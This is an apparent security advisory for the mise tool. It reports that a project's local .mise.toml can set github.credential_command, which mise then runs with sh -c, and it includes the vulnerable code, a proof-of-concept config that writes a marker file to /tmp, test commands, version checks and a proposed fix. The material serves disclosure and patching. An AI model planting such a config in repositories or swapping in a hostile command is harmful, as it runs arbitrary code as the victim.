crates.io · mise
Mise's local credential_command executes untrusted config
mise loads github.credential_command from local project config before any trust decision, then executes that value with sh -c when resolving a GitHub token. An attacker who can place a .mise.toml in a repository can execute arbitrary shell commands when the victim runs a GitHub-related mise command and no higher-priority GitHub token environment variable is set.
The current command-execution path is github.credential_command. I confirmed in Docker that the setting is exploitable on v2026.3.15 and v2026.3.17, while v2026.3.14 rejects it as an unknown field. This report does not depend on the separate trust-bypass issue because the sink is reached directly from [settings.github].
The vulnerable load order is:
Settings::try_get() preloads settings from local config files.parse_settings_file() returns settings_file.settings without checking whether the local file is trusted.resolve_token() checks settings.github.credential_command after the token env vars and before file-based sources.get_credential_command_token() executes the value with sh -c.The main command-execution path is:
let result = std::process::Command::new("sh")
.arg("-c")
.arg(cmd)
.arg("mise-credential-helper")
.arg(host)
.output()
If a local project file sets:
[settings.github]
credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"
then resolve_token() will reach get_credential_command_token() whenever higher-priority GitHub token environment variables are unset. credential_command is a documented custom credential source for mise, but it is also accepted from a local project .mise.toml, which lets an untrusted repository supply a shell command for mise to execute.
Test environment:
linux-arm64mise v2026.3.17Negative control:
export GITHUB_TOKEN=env_token
mise github token --unmask
Observed:
github.com: env_token (source: GITHUB_TOKEN)
/tmp/mise-proof.txt => missing
Primary exploit:
[settings.github]
credential_command = "echo credential_command_rce > /tmp/mise-proof.txt; echo ghp_fake_token"
Run:
unset GITHUB_TOKEN GITHUB_API_TOKEN MISE_GITHUB_TOKEN MISE_GITHUB_ENTERPRISE_TOKEN
mise github token --unmask
Observed:
github.com: ghp_fake_token (source: credential_command)
And the side effect file is created:
/tmp/mise-proof.txt => credential_command_rce
Related version check:
v2026.3.14: credential_command is rejected as an unknown fieldv2026.3.15: the same PoC executes and returns source: credential_commandAn attacker who can place a .mise.toml in a repository can execute arbitrary shell commands as the victim user when the victim runs a mise command that resolves a GitHub token from local settings.
Demonstrated impact:
[env], [hooks], tasks, or templatesImportant limitation:
credential_command path is not reachedDo not honor github.credential_command from non-global project config files.
For example, inside parse_settings_file():
pub fn parse_settings_file(path: &Path) -> Result<SettingsPartial> {
let raw = file::read_to_string(path)?;
let settings_file: SettingsFile = toml::from_str(&raw)?;
let mut settings = settings_file.settings;
if !config::is_global_config(path) {
settings.github.credential_command = None;
}
Ok(settings)
}
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.